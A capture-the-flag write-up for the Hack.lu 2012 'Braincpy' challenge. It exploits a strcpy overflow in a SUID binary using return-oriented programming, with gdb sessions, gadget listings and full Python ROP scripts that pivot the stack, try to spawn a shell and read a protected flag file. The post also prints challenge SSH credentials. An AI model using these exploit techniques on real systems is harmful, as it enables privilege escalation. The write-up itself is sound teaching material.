Hack.lu CTF 2012 – #9 Braincpy (300 points)
Challenge
Zombies do not only tend to eat brains, they also tend to write unsecure code! Looks like they don’t even know how to use stringcopy functions correctly, so there should be no problem for you to exploit this most simple of all bugs, right?
SSH: ctf.fluxfingers.net
PORT: 2091
USER: ctf
PASS: y7iisp7yspxqy892
Let’s login.
OMG HECKER BRAINZ \ ..... C C / /< / ___ __________/_#__=o /(- /(\_\________ \ \ ) \ )_ \o \ /|\ /|\ |' | | _| hack.lu /o __\ CTF'12 / ' | / / | /_/\______| ( _( < \ \ \ \ \ | \____\____\ ____\_\__\_\ /` /` o\ |___ |_______|.. Use /tmp/<YOUR UNGUESSABLE DIRNAME> for your work! ctf@braincpy:~$ ls -la total 716 drwxr-xr-x 2 ctf ctf 4096 Oct 19 19:58 . drwxr-xr-x 3 root root 4096 Oct 19 19:41 .. -rw-r--r-- 1 ctf ctf 3486 Oct 19 19:41 .bashrc -rw-r--r-- 1 ctf ctf 675 Oct 19 19:41 .profile -r-------- 1 braincpy braincpy 24 Oct 19 19:57 FLAG -rwsr-sr-x 1 braincpy braincpy 710026 Oct 19 19:57 braincpy
$ file braincpy braincpy: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.9, not stripped $ md5sum braincpy 902d8095b497efe669705d3492211d8c braincpy
The binary has a SUID bit and owner is braincpy. We have credentials for user ctf
In the same directory, there is file FLAG with only read permission for owner braincpy. We have to exploit the binary and retrieve the FLAG using SUID permission of braincpy.
Let’s try running it:
$ ./braincpy NO!
It appears the binary expects arguments. This can be confirmed by looking at the decompiled C in IDA/Hex-Rays
signed int __cdecl main(int argc, char **argv, char **envp) { int v3; // eax@2 int v4; // eax@4 int v5; // eax@4 signed int result; // eax@5 size_t v7; // [sp+8h] [bp-58h]@0 char v8[80]; // [sp+10h] [bp-50h]@8 for ( i = 0; envp[i]; ++i ) { v3 = strlen(envp[i]); memset(envp[i], 0, v3); **** Observation: environment is wiped. **** I renamed this unnamed function to memset. **** The implementation uses MMX instructions } v4 = getuid(); seteuid(v4); **** Observation: EUID and EGID are set to RUID and RGID v5 = getgid(); setegid(v5); if ( argc == 2 ) { if ( strlen(argv[1]) <= 96u ) **** Observation: argument may not be larger than 96 bytes { puts("NOMNOMNOM!"); strcpy(v8, argv[1], v7); **** Observation: I renamed this unnamed function to strcpy. **** The implementation uses MMX instructions result = 0; } else { puts("NO!"); result = -1; } } else { puts("NO!"); result = -1; } return result; }
What happens if we use an argument of exactly 96 bytes:
$ gdb ./braincpy (gdb) r `python -c "print 'A'*96"` Starting program: /mnt/hgfs/flux/9 - braincmp/braincpy `python -c "print 'A'*96"` NOMNOMNOM! Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb)
We have overwritten the EIP. Now let’s determine at which offset in our data we have to put the address we want to jump to. we’ll use Metasploit pattern_create for that.
$ ruby /opt/metasploit-4.4.0/msf3/tools/pattern_create.rb 96 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1
Let’s use this pattern with our binary.
$ gdb ./braincpy (gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1 Starting program: /mnt/hgfs/flux/9 - braincmp/braincpy Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1 NOMNOMNOM! Program received signal SIGSEGV, Segmentation fault. 0x31644130 in ?? () (gdb)
We’ve overwritten the EIP with 0x31644130, which is ‘0Ad1’. Let’s see where the offset in the pattern is with Metasploit pattern_offset.
$ ruby /opt/metasploit-4.4.0/msf3/tools/pattern_offset.rb 0Ad1 96 92
The exploit the program, we need to send something like:
’92 bytes op shellcode’ + ‘jmp address’.
First, let’s check whether the stack is executable:
$ readelf -l braincpy Elf file type is EXEC (Executable file) Entry point 0x80482f0 There are 7 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align LOAD 0x000000 0x08048000 0x08048000 0x9b6ef 0x9b6ef R E 0x1000 LOAD 0x09bf90 0x080e4f90 0x080e4f90 0x00cd0 0x023fc RW 0x1000 NOTE 0x000114 0x08048114 0x08048114 0x00020 0x00020 R 0x4 TLS 0x09bf90 0x080e4f90 0x080e4f90 0x00010 0x00028 R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 GNU_RELRO 0x09bf90 0x080e4f90 0x080e4f90 0x00070 0x00070 R 0x1 LOOS+5041580 0x000000 0x00000000 0x00000000 0x00000 0x00000 0x4 Section to Segment mapping: Segment Sections... 00 .note.ABI-tag .rel.plt .init .plt .text __libc_freeres_fn __libc_thread_freeres_fn .fini .rodata __libc_atexit __libc_subfreeres __libc_thread_subfreeres .eh_frame .gcc_except_table 01 .tdata .init_array .fini_array .ctors .dtors .jcr .data.rel.ro .got .got.plt .data .bss __libc_freeres_ptrs 02 .note.ABI-tag 03 .tdata .tbss 04 05 .tdata .init_array .fini_array .ctors .dtors .jcr .data.rel.ro .got 06
No, it isn’t. As it turns out, the stack is also randomized. So, let’s try ROP-ing! Never done that before. We have a staticly linked binary, so there should be several useful gadgets in the binary.
First, let’s have a look at the stack when the program crashes:
$ gdb ./braincpy (gdb) r `python -c "print 'A'*92 + 'B'*4"` Starting program: /mnt/hgfs/flux/9 - braincmp/braincpy `python -c "print 'A'*92 + 'B'*4"` NOMNOMNOM! Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) x/26x $esp -100 0xbffff60c: 0x00000000 0x41414141 0x41414141 0x41414141 0xbffff61c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff62c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff63c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff64c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff65c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff66c: 0x42424242 0x00000000 (gdb)
The first gadget we need is to change ESP to the start of our input: 0xbfffff10, which is at offset -96.
Gadgets can be found using several techniques. We used ROPGadet tool and Metasploit’s msfrop.
$ ROPgadget -v RopGadget - Release v3.4.1 Jonathan Salwan - twitter @JonathanSalwan http://www.shell-storm.org $ ROPgadget -g -file braincpy > gadgets.1 $ /opt/metasploit-4.4.0/msf3/msfrop -x gadgets.2 braincpy
Both gadget files can be grepped for ROP gadgets.
We came up with the following gadget to shift the ESP pointer to the begin of our input
0x080df815: add esp, [ebp+0ah] ; ret
We have to setup ebp in a way that ebp+0ah points to value -96 (= 0xFFFFFFA0)
We search for this value using IDA (search menu/sequence of bytes…): 0x08086C1C
So we have to put (0x08086C1C – 0ah) into EBP. EBP will be restored (as usual during function epilogue) just before returning and overwriting EIP. This results in the following template:
’88 bytes rop gagets’ + 0x08086C12 + 0x080df815
Let’s test that:
– Setup a breakpoint at the return from the main function
– Send the crafted input
– Step 3x
(gdb) b *0x080484E0 Breakpoint 1 at 0x80484e0 (gdb) set disassemble-next-line on (gdb) r `python -c "import struct; print 'A' * 4 + 'B'*84 + struct.pack('<I', 0x08086C12) + struct.pack('<I', 0x080df815)"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /mnt/hgfs/flux/9 - braincmp/braincpy `python -c "import struct; print 'A' * 4 + 'B'*84 + struct.pack('<I', 0x08086C12) + struct.pack('<I', 0x080df815)"` NOMNOMNOM! Breakpoint 1, 0x080484e0 in main () => 0x080484e0 <main+240>: c3 ret (gdb) ni 0x080df815 in ?? () => 0x080df815: 03 65 0a add 0xa(%ebp),%esp (gdb) ni 0x080df818 in ?? () => 0x080df818: c3 ret (gdb) i r eax 0x0 0 ecx 0xbffff890 -1073743728 edx 0xbffff66b -1073744277 ebx 0x0 0 esp 0xbffff610 0xbffff610 ebp 0x8086c12 0x8086c12 esi 0x8048ba0 134515616 edi 0x8048b00 134515456 eip 0x80df818 0x80df818 eflags 0x200283 [ CF SF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/30x $esp 0xbffff610: 0x41414141 0x42424242 0x42424242 0x42424242 0xbffff620: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffff630: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffff640: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffff650: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffff660: 0x42424242 0x42424242 0x08086c12 0x080df815 0xbffff670: 0x00000000 0xbffff6f4 0xbffff700 0x00000000 0xbffff680: 0x00000000 0x08048ba0
– next instruction is: ret. Will pop value of ESP into EIP
– ESP points to begin of our buffer
(gdb) ni 0x41414141 in ?? () => 0x41414141: Cannot access memory at address 0x41414141
Next phase: putting some useful ROP gadgets on the stack.
One nice thing of ROPGadget is that it will output all necessary gadgets for execve(“/bin/sh”). I’ve added some comments to clarify what is done.
# execve /bin/sh generated by RopGadget v4.0
# These gadgets will put string “/bin” at address 0x080e5060
1 p += pack("<I", 0x0805adec) # pop %edx ; ret 2 p += pack("<I", 0x080e5060) # @ .data 3 p += pack("<I", 0x080beb89) # pop %eax ; ret 4 p += "/bin" 5 p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret
# These gadgets will put string “//sh” at address 0x080e5064
# effectively, 0x080e5060 now contains string “/bin//sh”
6 p += pack("<I", 0x0805adec) # pop %edx ; ret 7 p += pack("<I", 0x080e5064) # @ .data + 4 8 p += pack("<I", 0x080beb89) # pop %eax ; ret 9 p += "//sh" 10 p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret
# We need to NULL terminate the string. There might not be
# a null byte at address 0x080e5068
11 p += pack("<I", 0x0805adec) # pop %edx ; ret 12 p += pack("<I", 0x080e5068) # @ .data + 8 13 p += pack("<I", 0x08054e90) # xor eax, eax ; ret 14 p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret
# Prepare the arguments for the syscall
# execve(“/bin//sh”, 0, 0)
# for all system calls, the first, second and third argument
# are put in ebx, ecx and edx respectively.
# Note that the address 0x080e5060 points to “/bin//sh”
# and 0x080e5068 points to null
15 p += pack("<I", 0x080516cb) # pop %ebx ; ret 16 p += pack("<I", 0x080e5060) # @ .data 17 p += pack("<I", 0x080dbc2c) # pop %ecx ; ret 18 p += pack("<I", 0x080e5068) # @ .data + 8 19 p += pack("<I", 0x0805adec) # pop %edx ; ret 20 p += pack("<I", 0x080e5068) # @ .data + 8
# put the syscall number for execve into eax
# syscall number for execve is 11
21 p += pack("<I", 0x08054e90) # xor %eax,%eax ; ret 22 p += pack("<I", 0x080998d2) # inc %eax ; ret 23 p += pack("<I", 0x080998d2) # inc %eax ; ret 24 p += pack("<I", 0x080998d2) # inc %eax ; ret 25 p += pack("<I", 0x080998d2) # inc %eax ; ret 26 p += pack("<I", 0x080998d2) # inc %eax ; ret 27 p += pack("<I", 0x080998d2) # inc %eax ; ret 28 p += pack("<I", 0x080998d2) # inc %eax ; ret 29 p += pack("<I", 0x080998d2) # inc %eax ; ret 30 p += pack("<I", 0x080998d2) # inc %eax ; ret 31 p += pack("<I", 0x080998d2) # inc %eax ; ret 32 p += pack("<I", 0x080998d2) # inc %eax ; ret
# Execute systemcall
33 p += pack("<I", 0x0804891f) # int $0x80
One major problem with this gadget chain is that it is too large. It now consists of 33 dwords and I only have room for 22 dwords (88 bytes). Now starts the real puzzle: finding other gadgets that will do the same.
First thing I did was finding a memory address that contains some null bytes.
- I changed the address at linenumber 2, 7, 16, 18 and 20 to 0x080E50A0, 0x080E50A4 and 0x080E50A8
- As /bin and //sh are copied into a area with null bytes, there is no need to null terminate the string. So I removed 11-14
- Find a more efficient way of putting 11 into eax. I came up with:
p += pack("<I", 0x080beb89) # pop %eax ; ret p += pack("<I", 0x1111111C) # p += pack("<I", 0x080dbc2c) # pop %ecx ; ret p += pack("<I", 0x11111111) # p += pack("<I", 0x080746c8) # sub eax,ecx
Note: we can’t use null bytes (remember, strcpy). Otherwise the following gadgets would be smaller:
p += pack("<I", 0x080beb89) # pop %eax ; ret p += pack("<I", 11) #
Finally, this results in the following python script:
## attempt1.py ######################################################### import sys from struct import pack p='' # get /bin/ssh into memory p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080E50A0) # @ .data + 20h p += pack("<I", 0x080beb89) # pop %eax ; ret p += "/bin" p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080E50A4) # @ .data + 24h p += pack("<I", 0x080beb89) # pop %eax ; ret p += "//sh" p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret # get 11 in eax p += pack("<I", 0x080beb89) # pop %eax ; ret p += pack("<I", 0x1111111C) # p += pack("<I", 0x080dbc2c) # pop %ecx ; ret p += pack("<I", 0x11111111) # p += pack("<I", 0x080746c8) # sub eax,ecx # prepare for syscall p += pack("<I", 0x080516cb) # pop %ebx ; ret p += pack("<I", 0x080e50A0) # @ .data + 20h p += pack("<I", 0x080dbc2c) # pop %ecx ; ret p += pack("<I", 0x080E50A8) # @ .data + 28h p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080E50A8) # @ .data + 28h # syscall p += pack("<I", 0x0804891f) # int $0x80 gadgets = p + 'A' * (88-len(p)) # ebp-0ah must point to: FFFFFFA0, # this will pivot ESP to begin of our buffer ebp=0x08086C1C - 10 address = 0x080df815 # add esp, [ebp+0ah] ; ret buf = gadgets + pack('I', ebp) + pack('I', address) sys.stdout.write(buf) ########################################################################
Let’s try it.
ctf@braincpy:~$ ./braincpy "`python /tmp/my_secret_tmp_dir/attempt1.py`" NOMNOMNOM! $ cat FLAG cat: FLAG: Permission denied $ id uid=1000(ctf) gid=1000(ctf) groups=1000(ctf) $
Alright, I forgot the seteuid(‘ctf’) call from the program. I have to squeeze gadgets for a seteuid(1001) into the chain. The binary still has symbols. With ROPGadget, it is also possible to dump the symbol table:
$ ROPgadget -file braincpy -symtab > functions
Now, find the seteuid function:
$ grep uid functions 403 08085220 00000010 geteuid 4a7 08059770 00000010 getuid 6c1 08059ad0 00000082 seteuid 768 08059770 00000010 __getuid 843 08085220 00000010 __geteuid
The function call seteuid(1001) could be executed with the following gadgets:
p += pack("<I", seteuid) # seteuid p += pack("<I", 0x0805adec) # pop %edx ; ret => pop arguments for function call p += pack("<I", 1001) # arg for seteuid
But, our payload may not contain null bytes. We need something different. I looked at the linux syscall table and found syscall setreuid (70/46h). It expects ruid in ebx and euid in ecx:
mov ebx, -1 mov ecx, 1001 mov eax, 23 int 80h
In the end I found these gadgets:
# mov ebx, -1:
1 p += pack("<I", 0x080516cb) # pop ebx ; ret 2 p += pack("<I", 0xFFFFFFFF) # => ebx
# mov ecx, 3e9h:
3 p += pack("<I", 0x0805d403) # mov ecx, 890003c4h ; ecx = 890003c4h 4 p += pack("<I", 0x080483a8) # pop ebp ; ret 5 p += pack("<I", 0x01010101) # => ebp 6 p += pack("<I", 0x080a56a5) # add ecx, ebp ; ecx = 8A0104C5h 7 p += pack("<I", 0x080483a8) # pop ebp ; ret 8 p += pack("<I", 0x75feff24) # => ebp 9 p += pack("<I", 0x080a56a5) # add ecx, ebp ; ecx = 3e9h (=1001)
# mov eax, 23
10 p += pack("<I", 0x080beb89) # pop %eax ; ret 11 p += pack("<I", 0xFFFFFFBA) # => EAX 12 p += pack("<I", 0x08054e7f) # neg eax |†ret # syscall 13 p += pack("<I", 0x0805b5c0) # int $0x80
However, this will sum up to a number of gadgets that won’t fit in my payload. I only have room for 22 gadgets. So, time to change strategy. Maybe I can allocate some memory, mark it writable and exectuable, memcpy shellcode to it and execute from there? I should be able to read extra data from stdin. Or, I could read extra gadgets from stdin into a writable memory section and pivit the ESP to that location:
Reading from stdin, using syscall read(fd, buffer, size)
ebx = 0 # 0=stdin ecx = 0x080E5C60 # => points to writable memory (.bss section) edx = 0x01010101 # lenth of data to read eax = 3 # syscall for read
# Setup registers
1 p += pack("<I", 0x0805ae15) # pop edx ; pop ecx ; pop ebx ; ret 2 p += pack("<I", 0x01010101) # => edx 3 p += pack("<I", 0x080E5C60) # => ecx 4 p += pack("<I", 0xFFFFFFFF) # => ebx 5 p += pack("<I", 0x080ac880) # inc ebx ; ret # ebx = 0 6 p += pack("<I", 0x080aa810) # mov eax, 0x00000003 ; ret
# syscall
7 p += pack("<I", 0x0805b5c0) # int $0x80
# ESP Pivot
8 p += pack("<I", 0x080beb89) # pop %eax ; ret 9 p += pack("<I", 0x080E5C60) # => EAX 10 p += pack("<I", 0x080b3b1f) # xchg esp, eax
Wow! Only 10 gadgets.
The python code for the first stage of the payload:
## stage1.py ########################################################### import sys from struct import pack p='' # Setup registers p += pack("<I", 0x0805ae15) # pop edx ; pop ecx ; pop ebx ; ret p += pack("<I", 0x01010101) # => edx p += pack("<I", 0x080E5C60) # => ecx p += pack("<I", 0xFFFFFFFF) # => ebx p += pack("<I", 0x080ac880) # inc ebx ; ret # ebx = 0 p += pack("<I", 0x080aa810) # mov eax, 0x00000003 ; ret # syscall p += pack("<I", 0x0805b5c0) # int $0x80 # ESP Pivot p += pack("<I", 0x080beb89) # pop %eax ; ret p += pack("<I", 0x080E5C60) # => EAX p += pack("<I", 0x080b3b1f) # xchg esp, eax gadgets = p + 'A' * (88-len(p)) # ebp-0ah must point to: FFFFFFA0, # this will pivot ESP to begin of our buffer ebp=0x08086C1C - 10 address = 0x080df815 # add esp, [ebp+0ah] ; ret buf = gadgets + pack('I', ebp) + pack('I', address) sys.stdout.write(buf) ########################################################################
For the second stage, we need the setreuid gadget chain and the execve chain:
## stage2.py ########################################################### import sys from struct import pack p='' #### setreuid(-1, 1001) ######################### # mov ebx, -1: p += pack("<I", 0x080516cb) # pop ebx ; ret p += pack("<I", 0xFFFFFFFF) # => ebx # mov ecx, 3e9h: p += pack("<I", 0x0805d403) # mov ecx, 890003c4h ; ecx = 890003c4h p += pack("<I", 0x080483a8) # pop ebp ; ret p += pack("<I", 0x01010101) # => ebp p += pack("<I", 0x080a56a5) # add ecx, ebp ; ecx = 8A0104C5h p += pack("<I", 0x080483a8) # pop ebp ; ret p += pack("<I", 0x75feff24) # => ebp p += pack("<I", 0x080a56a5) # add ecx, ebp ; ecx = 3e9h (=1001) # mov eax, d0h p += pack("<I", 0x080beb89) # pop %eax ; ret p += pack("<I", 0xFFFFFFBA) # => EAX p += pack("<I", 0x08054e7f) # neg eax | ret # syscall p += pack("<I", 0x0805b5c0) # int $0x80 #### execve("/bin//sh, 0, 0) ######################### # get /bin/ssh into memory p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080E50A0) # @ .data p += pack("<I", 0x080beb89) # pop %eax ; ret p += "/bin" p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080E50A4) # @ .data + 4 p += pack("<I", 0x080beb89) # pop %eax ; ret p += "//sh" p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080e5068) # @ .data + 8 p += pack("<I", 0x08054e90) # xor eax, eax ; ret p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret # get 11 in eax p += pack("<I", 0x080beb89) # pop %eax ; ret p += pack("<I", 0x1111111C) # p += pack("<I", 0x080dbc2c) # pop %ecx ; ret p += pack("<I", 0x11111111) # p += pack("<I", 0x080746c8) # sub eax,ecx # prepare for syscall p += pack("<I", 0x080516cb) # pop %ebx ; ret p += pack("<I", 0x080e50A0) # @ .data p += pack("<I", 0x080dbc2c) # pop %ecx ; ret p += pack("<I", 0x080E50A8) # @ .data + 8 p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080E50A8) # @ .data + 8 # syscall p += pack("<I", 0x0805b5c0) # int $0x80 sys.stdout.write(p) ########################################################################
If we try it, we get:
ctf@braincpy:/tmp/my_secret_tmp_dir$ python stage2.py | ~/braincpy "`python stage1.py`" NOMNOMNOM! ctf@braincpy:/tmp/my_secret_tmp_dir$
Unfortunately, still not a shell. That’s frustrating. Let’s try reading the flag.
Strategy:
- open(“./FLAG”, 0, 0)
- read(3, buf, 24); 3 is the next free fd for the just opened file
- write(stdout, buf, 24)
- Note: we can use null bytes
## new_stage2.py ########################################################### from struct import pack import sys p='' # seteuid(1001) ##################################### p += pack("<I", 0x0805d403) # mov ecx, 890003c4h p += pack("<I", 0x080beb89) # pop %eax ; ret p += pack("<I", 0xFFFFFFBA) # => EAX p += pack("<I", 0x0808aaef) # neg eax | pop ebp ; ret p += pack("<I", 0x01010101) # => ebp p += pack("<I", 0x080a56a5) # add ecx, ebp p += pack("<I", 0x080483a7) # pop ebx ; pop ebp ; ret p += pack("<I", 0xFFFFFFFF) # => ebx p += pack("<I", 0x75feff24) # => ebp p += pack("<I", 0x080a56a5) # add ecx, ebp p += pack("<I", 0x0805b5c0) # int $0x80 ### read flag ##################################### # Store "./FLAG" to memory (at 0x080e5060) p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080e5060) # @ .data p += pack("<I", 0x080beb89) # pop %eax ; ret p += ".///" p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080e5064) # @ .data + 4 p += pack("<I", 0x080beb89) # pop %eax ; ret p += "FLAG" p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0x080e5068) # @ .data + 8 p += pack("<I", 0x08054e90) # xor eax, eax ; ret p += pack("<I", 0x0808ed21) # mov %eax,(%edx) ; ret # open(".///FLAG", 0, 0) ##################################### # mov eax, 5 ; sys_open # mov ebx, 0x080e5060 ; filename # mov ecx, 0 ; o_RDONLY # mov edx, 0 ; mode # int 80h ; Call the kernel p += pack("<I", 0x080aa830) # mov eax, 0x00000005 ; ret p += pack("<I", 0x080516cb) # pop %ebx ; ret p += pack("<I", 0x080e5060) # @ .data p += pack("<I", 0x080dbc2c) # pop %ecx ; ret p += pack("<I", 0) p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 0) p += pack("<I", 0x0805b5c0) # int $0x80 # read(3, buf, len) ##################################### # mov ebx, 3 ; fd # mov ecx, 0x080e5080 ; buf # mov edx, 24 ; len # mov eax, 3 ; sys_read # int 80h p += pack("<I", 0x080aa810) #: mov eax, 0x00000003 ; ret p += pack("<I", 0x080516cb) # pop %ebx ; ret p += pack("<I", 3) # fd p += pack("<I", 0x080dbc2c) # pop %ecx ; ret p += pack("<I", 0x080e5080) # @ .data p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 24) # length p += pack("<I", 0x0805b5c0) # int $0x80 # write(1, buf, len) ##################################### # mov ebx, 1 ; fd # mov ecx, 0x080e5080 ; buf # mov edx, 24 ; len # mov eax, 5 ; sys_write # int 80h p += pack("<I", 0x080aa820) #: mov eax, 0x00000004 ; ret p += pack("<I", 0x080516cb) # pop %ebx ; ret p += pack("<I", 1) # stdout p += pack("<I", 0x080dbc2c) # pop %ecx ; ret p += pack("<I", 0x080e5080) # @ .data p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 24) #length p += pack("<I", 0x0805b5c0) # int $0x80 sys.stdout.write(p) sys.stderr.write('Size: %d\n' % len(p)) ######################################################################## And let's try this one: ctf@braincpy:~$ python /tmp/my_secret_tmp_dir/new_stage2.py | ./braincpy "`python /tmp/my_secret_tmp_dir/stage1.py`" Size: 196 NOMNOMNOM! ROP_GOLF_IS_A_NICE_GAME Segmentation fault ctf@braincpy:~$
Yeah! The key is: ROP_GOLF_IS_A_NICE_GAME
Pff. I still don’t quite understand why I couldn’t get a shell, however. In the end it was a real challenge to master return oriented programming.
hi,
How can I download the binary file?
–
eacaf
October 28, 2012 at 2:47 pm
Hi,
You can download the file here -> http://www.sendspace.com/file/4sp662
Kind regards,
Team Pong
teampong
October 30, 2012 at 6:40 am